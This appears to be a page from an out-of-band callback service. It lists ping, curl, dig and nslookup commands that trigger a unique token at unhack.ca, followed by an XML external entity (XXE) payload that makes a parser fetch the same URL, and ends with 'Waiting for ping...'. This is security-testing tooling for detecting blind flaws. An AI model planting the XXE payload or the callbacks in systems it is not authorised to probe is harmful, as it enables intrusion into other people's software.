$ ping -c1 -p 00de270396932ff4702dfcff06d67700 unhack.ca
 
$ curl http://unhack.ca/p/de270396932ff4702dfcff06d677
 
$ dig de270396932ff4702dfcff06d677 @unhack.ca
 
$ dig de270396932ff4702dfcff06d677.ns.unhack.ca
 
C:\> nslookup de270396932ff4702dfcff06d677 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/de270396932ff4702dfcff06d677">]>
    <foo>&xxe;</foo>
Waiting for ping...